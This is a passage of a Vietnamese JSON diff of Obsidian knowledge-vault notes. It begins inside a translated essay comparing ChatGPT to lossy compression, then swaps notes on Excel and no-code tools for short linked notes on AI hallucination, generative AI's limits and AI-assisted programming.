đồng rõ rệt — nhưng hãy xem xét tình huống sau. Hãy tưởng tượng rằng bạn sắp mất quyền truy cập Internet vĩnh viễn. Để chuẩn bị, bạn dự định tạo một bản sao nén của tất cả văn bản trên Web để bạn có thể lưu trữ nó trong một máy chủ riêng. Thật không may, máy chủ riêng của bạn chỉ trữ được 1% dung lượng của toàn khối thông tin; bạn không thể sử dụng thuật toán nén lossless nếu bạn muốn nhét vừa hết mọi thứ. Thay vào đó, bạn viết một thuật toán lossy, rà quét các phần giống nhau về mặt thống kê trong toàn khối văn bản nội dung và lưu trữ chúng ở định dạng file chuyên biệt. Giả sử bạn có đủ năng lực máy tính vô hạn để thực hiện nhiệm vụ này, vì thế, thuật toán của bạn có thể xác định được hết các nội dung có sắc thái riêng giống nhau về mặt thống kê, và nhờ đó, bạn đạt được tỷ lệ nén mong muốn là một trăm trên một.\n\nGiờ đây, chuyện mất khả năng truy cập Internet không còn quá khủng khiếp; bạn đã có tất cả thông tin trên Web được lưu trữ trên máy chủ của mình. Vấn đề duy nhất là, bởi vì văn bản đã được nén xuống rất nhiều, bạn không thể mò lại thông tin bằng cách tìm kiếm một câu trích dẫn chính xác; bạn sẽ không bao giờ có được kết quả khớp chính xác, vì nội dung được lưu trữ không phải theo đúng các từ. Để giải quyết vấn đề này, bạn tạo một giao diện tiếp nhận các truy vấn của bạn dưới dạng câu hỏi, và trả lời bằng các câu trả lời truyền đạt ý chính từ những thông tin bạn đã lưu trên máy chủ của mình.\n\nNhững gì tôi đã mô tả nghe rất giống ChatGPT hoặc hầu hết mọi mô hình ngôn ngữ lớn khác. Hãy coi ChatGPT như một jpeg mờ của tất cả văn bản trên Web. Nó giữ lại nhiều thông tin trên Web, giống như cách jpeg giữ lại nhiều thông tin của hình ảnh có độ phân giải cao hơn, nhưng nếu bạn đang tìm kiếm một chuỗi bit chính xác, bạn sẽ không tìm thấy nó; tất cả những gì bạn sẽ nhận được chỉ là một giá trị xấp xỉ, gần đúng. Tuy nhiên, vì giá trị xấp xỉ này được trình bày dưới dạng câu chữ đúng ngữ pháp mà ChatGPT rất giỏi tạo ra, nên người ta thường chấp nhận nó. Bạn vẫn là đang xem một ảnh jpeg mờ nhoè, nhưng nét mờ nhoè ấy hiện ra theo cách không làm cho toàn bộ bức ảnh trông kém sắc nét.\n\nSo sánh với cách nén lossy như vậy không chỉ giúp chúng ta hiểu về khả năng ChatGPT đóng gói và trình bày lại thông tin nó tìm thấy trên Web bằng cách dùng các câu chữ khác. Đó cũng là một cách để chúng ta hiểu được “những ảo ảnh”, tức là những câu trả lời hết sức vô nghĩa của nó cho các câu hỏi thực tế, mà các mô hình ngôn ngữ lớn như ChatGPT đều quá dễ mắc phải. Những ảo ảnh này là chính là các biến dạng nén, nhưng — giống như các nhãn diện tích không chính xác do máy photocopy Xerox tạo ra — chúng nghe có vẻ hợp lý đến mức để xác định được các lỗi này, đòi hỏi chúng ta phải so sánh với các bản gốc, trong trường hợp này có nghĩa là nội dung Web hoặc kiến ​​thức của chúng ta về thế giới. Khi chúng ta nghĩ về chúng theo cách này, những ảo ảnh như vậy không có gì đáng ngạc nhiên; nếu một thuật toán nén được thiết kế để tái tạo lại một văn bản sau khi 99% văn bản gốc đã bị loại bỏ, thì chúng ta nên lường trước được rằng phần lớn những gì nó tạo ra sẽ hoàn toàn là bịa đặt.\n\nLối so sánh này thậm chí còn có ý nghĩa hơn khi chúng ta nhớ rằng một kỹ thuật phổ biến được sử dụng bởi các thuật toán nén lossy là phép nội suy—nghĩa là ước lượng ra phần bị mất bằng cách xem xét những phần ở hai bên của khoảng trống/lỗ hổng. Khi một chương trình hình ảnh đang hiển thị một bức ảnh và phải tái tạo lại một pixel bị mất trong quá trình nén, nó sẽ xem xét các pixel lân cận và tính toán giá trị trung bình. Đây là cách mà ChatGPT thực hiện khi nó được yêu cầu phải mô tả, chẳng hạn như việc một chiếc tất bị mất trong máy sấy theo văn phong của bản Tuyên ngôn Độc lập Mỹ: nó sẽ lấy hai điểm trong “không gian từ vựng” và tạo một văn bản đứng ở vị trí giữa chúng. (Nó tạo ra văn bản này: “Khi trong suốt tiến trình các sự kiện của đời người, một người cần phải chia tách quần áo của mình, để duy trì sự sạch sẽ và trật tự của chúng....) ChatGPT rất giỏi về khoản nội suy này, đến nỗi mọi người thấy nó thú vị: họ đã phát hiện ra một công cụ \"làm mờ\" cho các đoạn văn thay vì hình ảnh, và thích thú nghịch ngợm nó.\n\nDo các mô hình ngôn ngữ lớn như Chat GPT thường được ca ngợi là thành tựu tiên tiến nhất của trí tuệ nhân tạo, nên mô tả chúng là các thuật toán nén lossy cho văn bản nghe có vẻ coi thường chúng —hoặc ít nhất là hạ thấp giá trị. Tôi thực sự nghĩ rằng cách nhìn này hữu ích khi nó giúp chỉnh đốn xu hướng nhân hóa các mô hình ngôn ngữ lớn, nhưng có một khía cạnh khác mà chúng ta cần xem xét khi dùng lối so sánh dạng nén. Kể từ năm 2006, một nhà nghiên cứu AI tên là Marcus Hutter đã trao phần thưởng bằng tiền mặt—được gọi là Giải Nén Kiến thức Nhân loại, hay Giải thưởng Hutter—cho bất kỳ ai có thể nén một ảnh chụp nhanh 1 gigabyte cụ thể của Wikipedia mà không làm mất dữ liệu (lossless), miễn sao nén nó nhỏ hơn file nén của người đoạt giải trước đó tạo được. Bạn có thể đã gặp phải các file được nén ở định dạng file zip. Định dạng zip giảm file nặng một gigabyte của Hutter xuống còn khoảng 300 megabyte; người đoạt giải gần đây nhất đã tìm cách giảm nó xuống còn 115 megabyte. Đây không chỉ là một bài tập bóp nén. Hutter tin rằng năng lực nén văn bản tối ưu hơn sẽ chính là con đường dẫn lối đến việc tạo ra trí tuệ nhân tạo đạt trình độ con người, một phần vì mức độ nén lớn nhất có thể đạt được là bằng cách hiểu văn bản đó.\n\nĐể hiểu được mối quan hệ giữa nén và hiểu, hãy tưởng tượng rằng bạn có một file văn bản chứa hàng triệu ví dụ về cộng, trừ, nhân và chia. Mặc dù bất kỳ thuật toán nén nào cũng có thể giảm kích thước của file này, nhưng cách để đạt được tỷ lệ nén lớn nhất có thể chính là rút ra các nguyên tắc số học rồi viết mã cho chương trình máy tính. Sử dụng máy tính, bạn hoàn toàn có thể tái tạo lại không chỉ hàng triệu ví dụ trong file mà còn bất kỳ ví dụ nào khác về số học mà bạn có thể gặp phải trong tương lai. Logic tương tự cũng áp dụng cho vấn đề nén một lát cắt của Wikipedia. Nếu một chương trình nén biết rằng lực bằng khối lượng nhân", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "95" }, { - "Tiêu đề": "Excel là một ngôn ngữ lập trình mà không làm ta cảm giác là đang lập trình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel/Excel là một ngôn ngữ lập trình mà không làm ta cảm giác là đang lập trình", + "Tiêu đề": "AI. Dữ liệu lớn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/AI. Dữ liệu lớn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Sản phẩm no code đem đến sự phản hồi tức thời]]\n\n[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]. Các ngôn ngữ lập trình khác không cho ta cảm giác như vậy. [[Excel đã làm một việc phi thường trong việc giáo dục hàng trăm triệu người về sức mạnh của phần mềm]]\n\nTuy nhiên, cũng chính vì điều này, nên [[Excel không làm ta hiểu về lập trình một cách đúng đắn]]. [[Không phải vì một thứ có thể làm một điều mà ta nên dùng nó để làm điều đó]] \n\nNguồn:: ", + "Toàn bộ nội dung": "```dataviewjs\nconst thưMụcHiệnTại = dv.current().file.folder\nconst danhSáchGhiChú = dv.pages(`\"${thưMụcHiệnTại}\"`)\nconst danhSáchLiênKếtTớiGhiChú = danhSáchGhiChú.map(i => i.file.link)\ndv.span(danhSáchLiênKếtTớiGhiChú)\n```\n\n## Nơi thảo luận\n![](https://i.imgur.com/tl5D9i8.png)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2024-07-20T06:22:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "96" }, { - "Tiêu đề": "Excel là nguồn ý tưởng cũng như là kẻ thù lớn nhất của các SaaS", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel/Excel là nguồn ý tưởng cũng như là kẻ thù lớn nhất của các SaaS", + "Tiêu đề": "Cách để AI không bị ảo giác là kêu nó viết truy vấn cho Wikidata", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Cách để AI không bị ảo giác là kêu nó viết truy vấn cho Wikidata", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nNền kinh tế bảng tính\n![](https://foundationinc.co/wp-content/uploads/2019/05/Spreadsheet-Unbundling.jpg) \n\nNguồn:: [The SaaS Opportunity Of Unbundling Excel](https://foundationinc.co/lab/the-saas-opportunity-of-unbundling-excel/)", + "Toàn bộ nội dung": "Nguồn:: ![The Future of Knowledge Graphs in a World of Large Language Models - YouTube](https://youtu.be/WqYBx2gB6vA)\n[Are you smarter than an LLM?](https://d.erenrich.net/are-you-smarter-than-an-llm/index.html)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2023-06-10T09:28:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "97" }, { - "Tiêu đề": "Excel là người bạn tuổi thơ tuyệt vời, nhưng là kẻ thù của tuổi dậy thì", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel/Excel là người bạn tuổi thơ tuyệt vời, nhưng là kẻ thù của tuổi dậy thì", + "Tiêu đề": "Có bằng chứng cho thấy việc có thêm dữ liệu và phần cứng để tính toán cũng không làm tăng khả năng nhận diện", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Có bằng chứng cho thấy việc có thêm dữ liệu và phần cứng để tính toán cũng không làm tăng khả năng nhận diện", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Excel không cản ta làm điều mà ta sẽ hối tiếc]]\nHệ quả của việc này là [[Người không làm lĩnh vực lập trình không được tạo điều kiện để trưởng thành về mặt quản trị dữ liệu]]\n[[Excel không cho ta quản lý phiên bản được]]\n\n[[❓Tại sao không cho người chưa biết gì về CNTT học về cơ sở dữ liệu trước thay vì học lập trình trước?]]\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ![Has Generative AI Already Peaked? - Computerphile - YouTube](https://youtu.be/dDUC-LqVrPU?si=H161x-mOwjjMfhH7&t=479)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "98" }, { - "Tiêu đề": "Excel là sản phẩm low code tồn tại lâu dài nhất", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel/Excel là sản phẩm low code tồn tại lâu dài nhất", + "Tiêu đề": "Người mới học nên bắt đầu bằng việc hiểu code đúng hơn là sửa lỗi code sai với lời hướng dẫn chưa chắc đúng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Người mới học nên bắt đầu bằng việc hiểu code đúng hơn là sửa lỗi code sai với lời hướng dẫn chưa chắc đúng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nNguồn:: [Excel Never Dies - Not Boring by Packy McCormick](https://www.notboring.co/p/excel-never-dies)\n[[Excel không phù hợp cho việc lập cơ sở dữ liệu]]\n[[Excel là loài gián trong ngành phần mềm]]\n[[Excel là người bạn tuổi thơ tuyệt vời, nhưng là kẻ thù của tuổi dậy thì]]", + "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Thế mạnh của AI là làm những công việc cần tốc độ mà không đòi hỏi sự chính xác, chất lượng]], và [[Lúc mới học thì cần chất lượng hơn là nhanh]] \nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "99" }, { - "Tiêu đề": "Excel đã làm một việc phi thường trong việc giáo dục hàng trăm triệu người về sức mạnh của phần mềm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel/Excel đã làm một việc phi thường trong việc giáo dục hàng trăm triệu người về sức mạnh của phần mềm", + "Tiêu đề": "Sự khác biệt giữa con người và mô hình ngôn ngữ lớn là con người có niềm tin và có thể kiểm chứng niềm tin từ môi trường bên ngoài", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Sự khác biệt giữa con người và mô hình ngôn ngữ lớn là con người có niềm tin và có thể kiểm chứng niềm tin từ môi trường bên ngoài", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Excel là một ngôn ngữ lập trình mà không làm ta cảm giác là đang lập trình]]\nĐiều đó khiến cho [[Excel là nguồn ý tưởng cũng như là kẻ thù lớn nhất của các SaaS]] \n\n\nNguồn:: ", + "Toàn bộ nội dung": "Nguồn:: [[Maggie Appleton]], [The Expanding Dark Forest and Generative AI](https://maggieappleton.com/ai-dark-forest)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "9A" }, { - "Tiêu đề": "File Google Docs không thực sự là file", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/File Google Docs không thực sự là file", + "Tiêu đề": "Sự không phân biệt giữa AI học có giám sát và AI tạo sinh mà chỉ gộp chung vào AI làm nhiều người nhầm lẫn giữa điểm mạnh và điểm yếu của AI", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Sự không phân biệt giữa AI học có giám sát và AI tạo sinh mà chỉ gộp chung vào AI làm nhiều người nhầm lẫn giữa điểm mạnh và điểm yếu của AI", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Tệp là thứ mà nhiều chương trình khác nhau đều đọc được]]\n\nNguồn:: [Golems, smart objects, and the file metaphor (Interconnected)](https://interconnected.org/home/2021/02/01/golems)\n", + "Toàn bộ nội dung": "Khái niệm:: \n[[Tiềm năng để kiếm tiền từ AI đến từ mảng học có giám sát nhiều hơn ở mảng tạo sinh]]\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2024-08-11T15:34:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "9B" }, { - "Tiêu đề": "Lập trình viên khó chịu với hệ thống low code không phải vì nó ưu tiên sự tiện lợi và chi phí thấp cho người dùng, mà vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Lập trình viên khó chịu với hệ thống low code vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế", + "Tiêu đề": "Thế mạnh của AI là làm những công việc cần tốc độ mà không đòi hỏi sự chính xác, chất lượng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Thế mạnh của AI là làm những công việc cần tốc độ mà không đòi hỏi sự chính xác, chất lượng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Đánh đổi]], [[Ưu tiên]]\n[[Dùng low code để xây dựng hệ thống là đang mang nợ kỹ thuật vào người]] \nNguồn:: [If the concept of low code/no code program is nothing new, then why do developers talking about it still get frustrated? (closed)](https://softwareengineering.stackexchange.com/q/447976/192731)\n\n[What Do Low-Code/No-Code Tools Mean for Software Developers?](https://www.cmswire.com/digital-marketing/the-software-developers-fate-in-low-codeno-code-world/)\n[The Rise of No-Code and Low-Code Solutions: A Game-Changer in the Martech](https://www.linkedin.com/pulse/rise-no-code-low-code-solutions-game-changer-martech-deshpande)\n[[When someone's taking time to do something right in the present, they're a perfectionist with no ability to prioritize, whereas when someone took time to do something right in the past, they're a master artisan of great foresight]]\n[[Có người giới thiệu về vấn đề có lẽ là cách duy nhất để làm được những thứ mình muốn làm nhưng không khẩn cấp]]\n[kelseyhightower/nocode: The best way to write secure and reliable applications. Write nothing; deploy nowhere.](https://github.com/kelseyhightower/nocode \"kelseyhightower/nocode: The best way to write secure and reliable applications. Write nothing; deploy nowhere.\")\n[[Các tiếp thị về low code hàm ý rằng việc code là việc khó nhất trong việc tạo sản phẩm, nhưng thực ra việc thảo luận và lên kế hoạch mới là thứ quan trọng nhất]]\n\n![](https://i.stack.imgur.com/ARBSs.jpg) \n\n[[Một công ty không có sản phẩm tốt nhưng tiếp thị tốt sẽ khiến người dùng không biết về sản phẩm tốt hơn]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Three types of AI-assisted programmers - Stack Overflow](https://stackoverflow.blog/2023/12/11/three-types-of-ai-assisted-programmers/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "9C" }, { - "Tiêu đề": "No code, GUI là những cái tên khác nhau cho cùng một thứ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/No code, GUI là những cái tên khác nhau cho cùng một thứ", + "Tiêu đề": "Tiềm năng để kiếm tiền từ AI đến từ mảng học có giám sát nhiều hơn ở mảng tạo sinh", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Tiềm năng để kiếm tiền từ AI đến từ mảng học có giám sát nhiều hơn ở mảng tạo sinh", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "![](https://i.imgur.com/yqnCnok.png)\nNguồn:: ![Andrew Ng: Opportunities in AI - 2023](https://www.youtube.com/watch?v=5p248yoa3oE&t=791s)\n\n[[Sự không phân biệt giữa AI học có giám sát và AI tạo sinh mà chỉ gộp chung vào AI làm nhiều người nhầm lẫn giữa điểm mạnh và điểm yếu của AI]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "9D" }, { - "Tiêu đề": "Sản phẩm no code không thể nào đáp ứng được nhu cầu tuỳ biến cao", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Sản phẩm no code không thể nào đáp ứng được nhu cầu tuỳ biến cao", + "Tiêu đề": "Trước khi AI có thể kiểm định và sửa lỗi code, ta vẫn cần phải học lập trình để kiểm định và sửa lỗi cho nó", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Trước khi AI có thể kiểm định và sửa lỗi code, ta vẫn cần phải học lập trình để kiểm định và sửa lỗi cho nó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "### Các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù\n![[Dùng ERP dựng sẵn.png]]\n\nCó hai loại công việc: [[Công việc khai phá và công việc khai thác]]. Công việc khai phá (exploration) là những công việc mà nếu ta chưa làm xong thì cũng không chắc lắm kết quả trông như thế nào, còn công việc khai thác (exploitation) là những công việc chưa làm cũng biết chính xác kết quả trông như thế nào. Công việc khai phá sử dụng dạng tư duy phi tuyến, và hợp với kiểu dữ liệu phi cấu trúc. Còn công việc khai thác sử dụng dạng tư duy tuyến tính, và hợp với kiểu dữ liệu có cấu trúc.\n\nBởi vì [[Công việc khai phá chính là quản lý kiến thức]], cho nên [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]]. Đây là thứ mà các ERP dựng sẵn này không đáp ứng được. Những người viết ra chúng tất nhiên cũng đã có những nghiên cứu khách hàng và cũng thiết kế nhiều lựa chọn để người dùng có thể tuỳ chỉnh ở một mức độ nào đó. Nếu không đáp ứng được nhu cầu đa số thì không thể nào giảm được chi phí sản phẩm cả. Tuy nhiên, sự dự đoán của các tác giả ấy về quy trình nghiệp vụ của một số khách hàng doanh nghiệp điển hình mà họ có thể nghĩ ra được cũng không thể nào bắt kịp được luồng làm việc và suy nghĩ thực tế của các cá nhân cụ thể. Mỗi người có một cách phân loại thông tin, yêu cầu về sự ngăn nắp thông tin, khối lượng thông tin và loại thông tin phải thường xuyên xử lý cũng khác nhau. Mỗi một luồng tư duy khác nhau có thể sẽ đòi hỏi những cách quản lý thông tin rất khác nhau. Và với một số người, cái mô đun quản lý kiến thức của chúng không gì chỉ làm cho có. Thà không dùng nó chứ dùng thì càng bực hơn. Các ERP này không đáp ứng nổi vai trò trở thành một [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng|một giàn giáo nhận thức]] của họ. \n\nHơn nữa, ngay cả khi chỉ xét đến mô đun về quản lý giao dịch của các ERP dựng sẵn, thì cũng giống như các phần mềm quản lý tài chính cá nhân được nói ở trên, dữ liệu được lưu trong đây vẫn bị cô lập trong ERP đó. \n\nChưa kể, cái gọi là chi phí thấp ở đây chỉ là miễn phí trong một số ngày, một số tính năng hoặc đầu người. Nhưng thường thì có trả tiền để dùng thì những tính năng đó cũng không hướng đến việc trở thành một nơi để quản lý tất cả mọi thứ.\n\n[[Dùng low code để xây dựng hệ thống là đang mang nợ kỹ thuật vào người]]\n[[Chấp nhận giải pháp mì ăn liền là đang mang nợ vào người]] \n![](https://www.commitstrip.com/wp-content/uploads/2020/10/Strip-PM-et-le-Nocode650-finalenglish.jpg) ", + "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Để AI có thể tham gia vào việc lập trình được, nó cần phải làm được cả việc kiểm định và sửa lỗi code, chứ không phải chỉ mỗi sinh code]], [[AI gần như không có khả năng tự sửa lỗi code]] \n[[Thế mạnh của AI là làm những công việc cần tốc độ mà không đòi hỏi sự chính xác, chất lượng]] \n[[Người mới học nên bắt đầu bằng việc hiểu code đúng hơn là sửa lỗi code sai với lời hướng dẫn chưa chắc đúng]] \nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "9E" }, { - "Tiêu đề": "Sản phẩm no code đem đến sự phản hồi tức thời", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Sản phẩm no code đem đến sự phản hồi tức thời", + "Tiêu đề": "Đằng sau vẻ ngoài tự trị của AI là những người làm công việc dán nhãn và kiểm duyệt, vô hình và bếp bênh", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Đằng sau vẻ ngoài tự trị của AI là những người làm công việc dán nhãn và kiểm duyệt, vô hình và bếp bênh", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]\n[[Excel là sản phẩm low code tồn tại lâu dài nhất]] \n[WhichNoCodeTool](https://www.whichnocodetool.com/ \"WhichNoCodeTool\")\n\n[[Sản phẩm no code không thể nào đáp ứng được nhu cầu tuỳ biến cao]] \n[[The assumption of centralization is deeply ingrained in our user experiences today, and we are only beginning to discover the consequences of changing that assumption]]\n[[Bạn có quyền chỉnh sửa dữ liệu của mình dưới bất kỳ hình thức nào]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Cartography of generative AI](https://cartography-of-generative-ai.net/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "9F" }, { - "Tiêu đề": "Quản lý công việc và quản lý kiến thức không thể tách rời nhau", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Quản lý công việc và quản lý kiến thức không thể tách rời nhau", + "Tiêu đề": "Để AI có thể tham gia vào việc lập trình được, nó cần phải làm được cả việc kiểm định và sửa lỗi code, chứ không phải chỉ mỗi sinh code", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Để AI có thể tham gia vào việc lập trình được, nó cần phải làm được cả việc kiểm định và sửa lỗi code, chứ không phải chỉ mỗi sinh code", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Công việc khai phá chính là quản lý kiến thức]] \nLý do:: [[Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành]]\n[[Công việc và cuộc sống không thể tách rời nhau]]\n\n[[Công việc khai phá và công việc khai thác]]\n[[Insight through making]] \n[[Ý tưởng sinh ra không theo độ khẩn cấp]]\nThách thức:: [[Obsidian không mạnh về quản lý tác vụ]]\n\n---\n#### 🚨 Organizations accumulate information in different places\n\nAll organizations use dozens or hundreds of tools to accumulate information: Notes, Spreadsheets, CRM, Project management tools, etc.\n\n- Knowledge management and work management separation create a false dichotomy that is reflected in tools and approaches. Information lives in many tools, so you can’t really navigate it in a unified way.\n- Many tools increase knowledge fragmentation in organizations. It is hard to create, connect and discover knowledge.\n- With deeper tools specialization, we are losing more and more context and maybe even de-augment organizations.\n\nIn the perfect world, the knowledge tool is singular and has well connected things, like a brain.\n\n#### 🚨 Organizations just store knowledge and put little attention to connections\n\nThis is super-weird in fact. Connections are what help us invent new things and generate insights. Without connections, information is often undiscoverable.\n\nThere are two reasons for that behavior:\n\n1. Most note-taking/wiki software doesn’t have good enough tools to create, navigate, and manage connections.\n2. Explicit connection creation is a heavy cognitive task, so people tend to skip it.\n\nIn the perfect world, connections are automatic and vast, like in a brain. In a semi-perfect world, we at least have good tools to create and manage connections.\n\n#### 🚨 Organizations handle knowledge evolution poorly\n\nKnowledge evolves, processes evolve, structures evolve. It all means that you can’t solidify any tool and expect it to survive. However, that is how most of the existing tools are designed. You often have a fixed domain to work with limited extendability. This may shorten the organization’s life-span since eventually, the company 